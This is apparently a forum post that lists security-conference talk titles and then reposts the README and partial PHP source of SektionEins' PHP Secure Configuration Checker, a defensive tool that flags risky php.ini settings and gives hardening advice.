  7. [h=1]USB Attacks Need Physical Access Right? Not Any More… by Andy Davis[/h]
  8. [h=1]SAP, Credit Cards, and the Bird That Knows Too Much by Ertunga Arsal[/h]
  9. [h=1]Building Trojan Hardware at Home by JP Dunning[/h]
  10. [h=1]JS Suicide: Using JavaScript Security Features to Kill JS Security by Ahamed Nafeez[/h]
  11. [h=1]PDF Attack: A Journey From the Exploit Kit to the Shellcode Part 1 by Jose Miguel Esparza[/h] [h=1]PDF Attack: A Journey From the Exploit Kit to the Shellcode Part 2 by Jose Miguel Esparza[/h]
  12. [h=1]You Can’t See Me: A Mac OS X Rootkit Uses the Tricks You Haven’t Known Yet[/h]
  13. [h=1]Persist It: Using and Abusing Microsoft’s Fix It Patches by Jon Erickson[/h]
  14. [h=1]Scan All the Things - Project Sonar by Mark Schloesser[/h]
  15. [h=1]Ultimate Dom Based XSS Detection Scanner on Cloud by Nera W. C. Liu & Albert Yu[/h]
  16. [h=1]The Machines That Betrayed Their Masters by Glenn Wilkinson[/h]
  17. [h=1]UI Redressing Attacks on Android Devices Revisited by Marcus Niemietz[/h]
  18. [h=1]Owning a Building: Exploiting Access Control and Facility Management Systems by Billy Rios[/h]
  19. Smecherie.
  20. [h=1]PHP Secure Configuration Checker[/h] Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. [h=2]Idea[/h] one single file for easy distribution simple tests for each security related ini entry a few other tests - not too complicated though compatible with PHP >= 5.4, or if possible >= 5.0 NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ... -> It is supposed to be obvious on first glance - even for novices - how this tool works and what it does! NO (or very few) dependencies [h=2]Usage[/h] CLI: Simply call php phpconfigcheck.php. That's it. WEB: Copy this script to any directory accessible by your webserver, e.g. your document root. See also 'Safeguards' below. The output in non-CLI mode is HTML by default. This behaviour can be changed by setting the environment variable PCC_OUTPUT_TYPE=text. Some test cases are hidden by default, specifically skipped, ok and unknown/untested. To show all results, use phpconfigcheck.php?showall=1. [h=2]Safeguards[/h] Most of the time it is a good idea to keep security related issues such as your PHP configuration to yourself. The following safeguards have been implemented: mtime check: This script stops working in non-CLI mode after two days. Re-arming the check can be done by touch phpconfigcheck.php or by copying the script to your server again (e.g. via SCP). This check can be disabled by setting the environment variable: PCC_DISABLE_MTIME=1, e.g. SetEnv PCC_DISABLE_MTIME 1 in apache's .htaccess. source IP check: By default only localhost (127.0.0.1 and ::1) can access this script. Other hosts may be added by setting PCC_ALLOW_IP to a your IP address or a wildcard pattern, e.g. SetEnv PCC_ALLOW_IP 10.0.0.* in .htaccess. You may also choose to access your webserver via SSH Port forwarding, e.g. ssh -D or ssh -L. [h=2]Troubleshooting[/h] disabled functions: This scripts needs a few functions to work properly, such as ini_get() and stat(). If one of these functions is blacklisted (or not whitelisted) then execution will fail or produce invalid output. In these cases it is possible to temporarily put Suhosin in simulation mode and omit disable_functions. To be on the safe side, relaxed security configuration can be done with .htaccess in a separate directory. Also, this script may be called from command line with your webserver's configuration, e.g. php -n -c /etc/.../php.ini phpconfigcheck.php. CLI: Older PHP versions don't known about SAPI name 'cli' and use CGI style output even on cli. Workaround: PCC_OUTPUT_TYPE=text /opt/php/php-5.1.6/bin/php phpconfigcheck.php [h=2]WARNING[/h] This tool will only support you setting up a secure PHP environment. Nothing else. Your setup, software or any related configuration may still be vulnerable, even if this tool's output suggests otherwise. [h=2]Notes[/h] For copyright and license information, see phpconfigcheck.php and the LICENSE file. Issues, comments, enhancements? Please use the Github issue tracker: https://github.com/sektioneins/pcc/issues <?php /* [+] PHP Secure Configuration Checker - (c) 2014 - SektionEins GmbH -- Ben Fuhrmannek <ben.fuhrmannek@sektioneins.de> [+] Description: Check current PHP configuration for potential security flaws. Simply access this file from your webserver or run on CLI. [+] Idea: * one single file for easy distribution * simple tests for each security related ini entry * a few other tests - not too complicated though * compatible with PHP >= 5.4, or if possible >= 5.0 * NO complicated/overengineered code, e.g. no classes/interfaces, test-frameworks, libraries, ... -> It is supposed to be obvious on first glance - even for novices - how this tool works and what it does! * NO (or very few) dependencies [+] WARNING: This tool will only support you setting up a secure PHP environment. Nothing else. Your setup, software or any related configuration may still be vulnerable, even if this tool's output suggests otherwise. [+] Update: Please check https://github.com/sektioneins/pcc [+] License: This tool is licensed under the New BSD License. See LICENSE file for fulltext version of the license. [+] Copyright Notes: Some text fragments have been copied from the printed PHP Web Security Poster with permission. - (C) 2009 SektionEins GmbH - Concept: Stefan Esser, fukami, Ben Fuhrmannek */ $pcc_name = "PHP Configuration Security Checker"; $pcc_version = "0.1-dev"; $pcc_copy = "(c) 2014 SektionEins GmbH / Ben Fuhrmannek"; $pcc_date = "2014-08-15"; // release date for update check $pcc_url = "https://github.com/sektioneins/pcc"; // download URL /*****************************************************************************/ // test result codes define("TEST_CRITICAL", "critical"); // critical problem found. define("TEST_HIGH", "high"); // high problem found. define("TEST_MEDIUM", "medium"); // medium. this may be a problem. define("TEST_LOW", "low"); // low. boring problem found. define("TEST_MAYBE", "maybe"); // potential security risk. please check manually. define("TEST_COMMENT", "comment"); // odd, but still worth mentioning. define("TEST_OK", "ok"); // everything is fine. move along. define("TEST_SKIPPED", "skipped"); // probably not applicable here. define("TEST_UNKNOWN", "unknown"); // something is unknown. // globals $cfg = array( 'output_type' => 'text', 'showall' => 0, 'result_codes_default' => array(TEST_CRITICAL, TEST_HIGH, TEST_MEDIUM, TEST_LOW, TEST_MAYBE, TEST_COMMENT), 'need_update' => 0); $all_result_codes = array(TEST_CRITICAL, TEST_HIGH, TEST_MEDIUM, TEST_LOW, TEST_MAYBE, TEST_COMMENT, TEST_OK, TEST_SKIPPED, TEST_UNKNOWN); $trbs = array(); // test result by severity, e.g. $trbs[TEST_OK][...] foreach ($all_result_codes as $v) { $trbs[$v] = array(); } $cfg['s1_logo'] = "data:image/gif;base64,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"; $cfg['s1_logo_aa'] = " `.-:///:-.` /+-` `/shmmmmmmmmmm:.dmmds: `/ymmmdyo/::-::// `:sdmmh: /hmmdo- `+dmmy. `smmd/` .ymmh` `hmmy. /-` ymmy` -oyy -mmm- .dmm: --- $pcc_name +mmh ymmo --- Version $pcc_version ommh ymms --- $pcc_copy :mmd. `dmm/ ---- https://sektioneins.de/ `hmms +mmd` -dmmo +mmd: -dmmy. .smmd: `smmms- -sdmmy. -sdmmds+:.`` `.-/sdmmms- `/sdmmmmmdddmmmmmds/` .:/ossssso+:. "; /*****************************************************************************/ // are we running as cli? if (php_sapi_name() == "cli") { $cfg['output_type'] = "text"; $cfg['is_cli'] = true; } else { $cfg['output_type'] = "html"; $cfg['is_cli'] = false; // mtime check $cfg['PCC_DISABLE_MTIME'] = getenv("PCC_DISABLE_MTIME"); $cfg['SCRIPT_FILENAME'] = getenv("SCRIPT_FILENAME"); if (!$cfg['PCC_DISABLE_MTIME'] && $cfg['SCRIPT_FILENAME'] !== FALSE) { if (filemtime($cfg['SCRIPT_FILENAME']) + 2*24*3600 < time()) { die("mtime check failed. - For security reasons this script was disabled automatically after a while.\n Please 'touch' me, or set the environment variable 'PCC_DISABLE_MTIME=1' (e.g. 'SetEnv PCC_DISABLE_MTIME 1' for apache/.htaccess)"); } } // IP check $cfg['REMOTE_ADDR'] = getenv("REMOTE_ADDR"); $cfg['PCC_ALLOW_IP'] = getenv("PCC_ALLOW_IP"); if ($cfg['REMOTE_ADDR'] !== FALSE) { if (!in_array($cfg['REMOTE_ADDR'], array("127.0.0.1", "::1"), TRUE) && !($cfg['PCC_ALLOW_IP'] !== FALSE && fnmatch($cfg['PCC_ALLOW_IP'], $cfg['REMOTE_ADDR']))) { die("Access denied. - Your IP is not cleared. Please set PCC_ALLOW_IP to a your IP address or a wildcard pattern, e.g. 'SetEnv PCC_ALLOW_IP 10.0.0.*'"); } } // output type if (getenv('PCC_OUTPUT_TYPE') === 'text') { $cfg['output_type'] = 'text'; header("Content-Type: text/plain; charset=utf-8"); } // do not hide unknown/skipped/ok tests if (isset($_GET['showall']) && $_GET['showall'] === "1") { $cfg['showall'] = 1; } } // detect OS $cfg['is_win'] = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'; /*****************************************************************************/ // functions function tdesc($name, $desc=NULL) { return array( "name" => $name, "desc" => $desc, "result" => NULL, "reason" => NULL, "recommendation" => NULL ); } function tres($meta, $result, $reason=NULL, $recommendation=NULL) { global $trbs; $res = array_merge($meta, array("result" => $result, "reason" => $reason, "recommendation" => $recommendation)); $trbs[$result][] = $res; } function ini_atol($val) { $ret = intval($val); $val = strtolower($val); switch (substr($val, -1)) { case 'g': $ret *= 1024; case 'm': $ret *= 1024; case 'k': $ret *= 1024; } return $ret; } function ini_list($val) { if ($val == "") { return NULL; } $ret = split('[, ]+', $val); if (count($ret) == 1 && $ret[0] == "") { return NULL; } return $ret; } function is_writable_or_chmodable($fn) { $stat = stat($fn); if (!$stat) { return false; } $myuid = posix_getuid(); $mygids = posix_getgroups(); if ($myuid == 0 || $myuid == $stat['uid'] || in_array($stat['gid'], $mygids) && $stat['mode'] & 0020 || $stat['mode'] & 0002) { return true; } return false; } /*****************************************************************************/ $helptext = array( "display_errors" => "Error messages can divulge information about the inner workings of an application and may include private information such as Session-ID, personal data, database structures, source code exerpts. It is recommended to log errors, but not to display them on live systems.", 'log_errors' => "While it may be a good idea to avoid logging altogether from a privacy point of view, monitoring the error log of an application can lead to detecting attacks, programming and configuration errors.", 'expose_php' => "Knowing the exact PHP version - sometimes including patchlevel and operating system - is a good start for automated attack tools. Best not to share this information.", 'max_execution_time' => "In order to prevent denial-of-service attacks where an attacker tries to keep your server's CPU busy, this value should be set to the lowest possible value, e.g. 30 (seconds).", 'max_input_time' => "It may be useful to limit the time a script is allowed to parse input. This should be decided on a per application basis.", 'max_input_nesting_level' => "Deep input nesting is only required in rare cases and may trigger unexpected ressource limits.", 'memory_limit' => "A high memory limit may easy lead lead to ressource exhaustion and thus make your application vulnerable to denial-of-service attacks. This value should be set approximately 20% above empirically gathered maximum memory requirement.", 'post_max_size' => "This value should match the size actually required. File uploads have to be covered by this setting as well.", 'upload_max_filesize' => "This value should match the file size actually required.", 'allow_url_fopen' => "Deactivate, if possible. Allowing URLs in fopen() can be a suprising side-effect for unexperienced developers. Even if deactivated, it is still possible to receive content from URLs, e.g. with curl.", 'allow_url_include' => "This flag should remain deactivated for security reasons.", 'magic_quotes' => "This option should be deactivated. Instead, user input should be escaped properly and handled in a secure way when building database queries. The use of magic quotes or similar behaviour is highly discouraged. Current PHP versions do not support this feature anymore.", 'enable_dl' => "Deactivate this option to prevent arbitrary code to be loaded during runtime (see dl()).", 'disable_functions' => "Potentially dangerous and unused functions should be deactivated, e.g. system().", 'disable_classes' => "Potentially dangerous and unused classes should be deactivated.", 'request_order' => "It is recommended to use GP to register GET and POST with REQUEST.", 'variables_order' => "Changing this setting is usually not necessary; however, the ENV variables are rarely used.", 'auto_globals_jit' => "Unless access to these variables is done through variable variables this option can remain activated.", 'register_globals' => "This relic from the past is not available in current PHP versions. If it is there anyway, keep it deactivated! Please.", 'file_uploads' => "If an application does not require HTTP file uploads, this setting should be deactivated.", 'filter.default' => "This should only be set if the application is specifically designed to handle filtered values. Usually it is considered bad practice to filter all user input in one place. Instead, each user input should be validated and then escaped/encoded according to its context.", 'open_basedir' => "Usually it is a good idea to restrict file system access to directories related to the application, e.g. the document root.", 'session.save_path' => "This path should be set to a directory unique to your application, but outside the document root, e.g. /opt/php_sessions/application_1. If this application is the only application on your server, or a custom storage mechanism for sessions has been implemented, or you don't need sessions at all, then the default should be fine.", 'session.cookie_httponly' => "This option controls if cookies are tagged with httpOnly which makes them accessible by HTTP only and not by the JavaScript. httpOnly cookies are supported by all major browser vendors and therefore can be instrumental in minimising the danger of session hijacking. It should either be activated here or in your application with session_set_cookie_params().", 'session.cookie_secure' => "This options controls if cookies are tagged as secure and should therefore be sent over SSL encrypted connections only. It should either be activated here or in your application with session_set_cookie_params().", 'session.cookie_lifetime' => "Not limiting the cookie lifetime increases the chance for an attacker to be able to steal the session cookie. Depending on your application, this should be set to a reasonable value here or with session_set_cookie_params().", 'session.referer_check' => "PHP can invalidate a session ID if the submitted HTTP Referer does not contain a configured substring. The Referer can be set by a custom client/browser or plugins (e.g. Flash, Java). However it may prevent some cases of CSRF attacks, where the attacker can not control the client's Referer.", 'session.use_strict_mode' => "If activated, PHP will regenerate unknown session IDs. This effectively counteracts session fixation attacks.", 'session.use_cookies' => "If activated, PHP will store the session ID in a cookie on the client side. This is recommended.", 'session.use_only_cookies' => "PHP will send the session ID only via cookie to the client, not e.g. in the URL. Please activate.", 'always_populate_raw_post_data' => "In a shared hosting environment it should not be the default to let the unexperienced user parse raw POST data themselves. Otherwise, this options should only be used, if accessing the raw POST data is actually required.", 'arg_separator' => "The usual argument separator for parsing a query string is '&'. Standard libraries handling URLs will possibly not be compatible with custom separators, which may lead to unexpected behaviour. Also, additional parsers - such as a WAF or logfile analyzers - have to be configured accordingly.", 'assert.active' => "assert() evaluates code just like eval(). Unless it is actually required in a live environment, which is almost certainly not the case, this feature should be deactivated.", 'auto_append_file' => "PHP is automatically executing an extra script for each request. An attacker may have planted it there. If this is unexpected, deactivate.", 'cli.pager' => "PHP executes an extra script to process CLI output. An attacker may have planted it there. If this is unexpected, deactivate.", 'cli.prompt' => "An overlong CLI prompt may indicate incorrect configuration. Please check manually.", 'curl.cainfo' => "Incorrect configuration of this option may prevent cURL from validating a certificate.", 'docref_*' => "This setting may reveal internal ressources, e.g. internal server names. Setting docref_root or docref_ext implies HTML output of error messages, which is bad practice for live environments and may reveal useful information to an attacker as well.", /* Suhosin */ 'suhosin.simulation' => "During initial deployment of Suhosin, this flag should be switched on to ensure that the application continues to work under the new configuration. After carefully evaluating Suhosin's log messages, you may consider switching the simulation mode off.", 'suhosin.log.syslog' => "Logging to syslog should be used here.", 'suhosin.log.phpscript' => "This should only be used in exceptional cases for classes of errors that could occur during script execution.", 'suhosin.executor.max_depth' => "Defines the maximum stack depth that is per- mitted during the execution of PHP scripts. If the stack depth is exceeded, the script will be terminated. This setting should be set to a value that does not interfere with the application, but at the same time does not allow to crash the PHP interpreter, e.g. 500.", 'suhosin.executor.include.max_traversal' => "Defines how often '../' may occur in filenames for include-statements before it is considered to be an attack. A value of zero deactivates the feature. Most PHP-applications do not require a value greater than 5.", 'suhosin.*.cryptkey' => "This protection is less effective with a weak key. Please generate a stronger passphrase, e.g. with 'apg -m 32'.", 'suhosin.cookie.encrypt=on' => "Be aware, that even encrypted cookie values are still user input and cannot be trusted without proper input handling.", 'suhosin.cookie.encrypt=off' => "Suhosin can transparently encrypt cookies. This feature makes attacks based on tampering with a cookie value much harder. If at all possible, this feature should always be activated.", 'suhosin.*.disallow_nul' => "Unless binary data is handled unencoded - which would be very obscure - this feature wants to remain enabled.", 'suhosin.*.max_value_length=off' => "By disabling this protection PHP will be exposed to input variables of arbitrary length. It is highly recommended to set this value to the maximum length one variable is supposed to have. With file uploads in mind, request and post limits can be set to a high value.", 'suhosin.*.max_value_length=default' => "The default value set as maximum length for each variable may be too small for some applications.", 'suhosin.*.disallow_ws' => "Unless your application needs variable names to start with whitespace, please consider turning this option on.", 'suhosin.*.max_name_length=off' => "The variable name length should be limited. Please set an appropriate value, e.g. 64.", 'suhosin.log.script.name' => "An attacker may try to inject code into the logging script. Better change file permissions to read-only access.", 'suhosin.log.script.name/chmod' => "The logging script is not set writable, but the current user has the right to change the access permission. Please change the file's owner." ); // php.ini checks foreach (ini_get_all() as $k => $v) { $v = $v["local_value"]; // for compatibility with PHP <5.3.0 ini_get_all() is not called with the second 'detail' parameter. $meta = tdesc("php.ini / $k"); $result = NULL; $reason = NULL; $recommendation = NULL; if (isset($helptext[$k])) { $recommendation = $helptext[$k]; } switch ($k) { case 'display_errors': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "display_errors is on."); } break; case 'display_startup_errors': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "display_startup_errors is on."); $recommendation = $helptext['display_errors']; } break; case 'log_errors': if ($v != "1") { list($result, $reason) = array(TEST_LOW, "You are not logging errors."); } break; case 'expose_php': if ($v == "1") { list($result, $reason) = array(TEST_LOW, "PHP is exposed by HTTP headers."); } break; case 'max_execution_time': if (intval($v) == 0) { list($result, $reason) = array(TEST_MEDIUM, "Execution time is not limited."); } elseif (intval($v) >= 300) { list($result, $reason) = array(TEST_LOW, "Execution time limit is rather high."); } break; case 'max_input_time': if ($v == "-1") { list($result, $reason) = array(TEST_MAYBE, "Input parsing time not limited."); } break; case 'max_input_nesting_level': if (intval($v) > 128) { list($result, $reason) = array(TEST_MEDIUM, "Input nesting level extremely high."); } elseif (intval($v) > 64) { list($result, $reason) = array(TEST_MAYBE, "Input nesting level higher than usual."); } break; case 'memory_limit': if (ini_atol($v) >= 128*1024*1024) { // default value list($result, $reason) = array(TEST_MAYBE, "Memory limit is 128M or more."); } break; case 'post_max_size': if ($v === "8M") { list($result, $reason) = array(TEST_COMMENT, "default value."); } elseif (ini_atol($v) >= ini_atol("2G")) { list($result, $reason) = array(TEST_MAYBE, "value is rather high."); } break; case 'upload_max_filesize': if ($v === "2M") { list($result, $reason) = array(TEST_COMMENT, "default value."); } elseif (ini_atol($v) >= ini_atol("2G")) { list($result, $reason) = array(TEST_MAYBE, "value is rather high."); } break; case 'allow_url_fopen': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "fopen() is allowed to open URLs."); } break; case 'allow_url_include': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "include/require() can include URLs."); } break; case 'magic_quotes_gpc': case 'magic_quotes_runtime': case 'magic_quotes_sybase': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "magic quotes activated."); $recommendation = $helptext['magic_quotes']; } break; case 'enable_dl': if ($v == "1") { list($result, $reason) = array(TEST_HIGH, "PHP can load extensions during runtime."); } break; case 'disable_functions': $v = ini_list($v); if (!$v) { list($result, $reason) = array(TEST_MEDIUM, "no functions disabled."); } break; case 'disable_classes': $v = ini_list($v); if (!$v) { list($result, $reason) = array(TEST_MEDIUM, "no classes disabled."); } break; case 'request_order': $v = strtoupper($v); if ($v === "GP") {break;} // ok if (strstr($v, 'C') !== FALSE) { list($result, $reason) = array(TEST_MAYBE, "cookie values in $_REQUEST."); } if (strstr(str_replace('C', $v, ''), 'PG') !== FALSE) { list($result, $reason) = array(TEST_LOW, "GET overrides POST in $_REQUEST."); } break; case 'variables_order': if ($v === "GPCS") { break; } if ($v !== "EGPCS") { list($result, $reason) = array(TEST_COMMENT, "custom variables_order."); } else { $result = TEST_OK; // result set includes default helptext } break; case 'auto_globals_jit': $result = TEST_OK; break; case 'register_globals': if ($v !== "" && $v !== "0") { list($result, $reason) = array(TEST_CRITICAL, "register_globals is on."); } break; case 'file_uploads': if ($v == "1") { list($result, $reason) = array(TEST_MAYBE, "file uploads are allowed."); } break; case 'filter.default': if ($v !== "unsafe_raw") { list($result, $reason) = array(TEST_MAYBE, "default input filter set."); } break; case 'open_basedir': if ($v == "") { list($result, $reason) = array(TEST_LOW, "open_basedir not set."); } break; case 'session.save_path': if ($v == "") { list($result, $reason) = array(TEST_MAYBE, "session save path not set."); } break; case 'session.cookie_httponly': if ($v != "1") { list($result, $reason) = array(TEST_MAYBE, "no implicit httpOnly-flag for session cookie."); } break; case 'session.cookie_secure': if ($v != "1") { list($result, $reason) = array(TEST_MAYBE, "no implicit secure-flag for session cookie."); } break; case 'session.cookie_lifetime': if ($v == "0") { list($result, $reason) = array(TEST_MAYBE, "no implicit lifetime for session cookie."); } break; case 'session.referer_check': if ($v === "") { list($result, $reason) = array(TEST_COMMENT, "referer check not activated."); } break; case 'session.use_strict_mode': if ($v != "1") { list($result, $reason) = array(TEST_MEDIUM, "strict mode not activated."); } break; case 'session.use_cookies': if ($v != "1") { list($result, $reason) = array(TEST_HIGH, "Session ID not stored in cookie."); } break; case 'session.use_only_cookies': if ($v != "1") { list($result, $reason) = array(TEST_HIGH, "Session ID not limited to cookie."); } break; case 'always_populate_raw_post_data': if ($v != "0") { list($result, $reason) = array(TEST_COMMENT, "HTTP_RAW_POST_DATA is available."); } break; case 'arg_separator.input': case 'arg_separator.output': if ($v !== "&") { list($result, $reason) = array(TEST_MAYBE, "unusual arg separator."); $recommendation = $helptext['arg_separator']; } break; case 'assert.active': if ($v == "1") { list($result, $reason) = array(TEST_MEDIUM, "assert is active."); } break; case 'auto_append_file': case 'auto_prepend_file': if ($v !== NULL && $v !== "") { list($result, $reason) = array(TEST_MAYBE, "$k is set."); $recommendation = $helptext['auto_append_file']; } break; case 'cli.pager': if ($v !== NULL && $v !== "") { 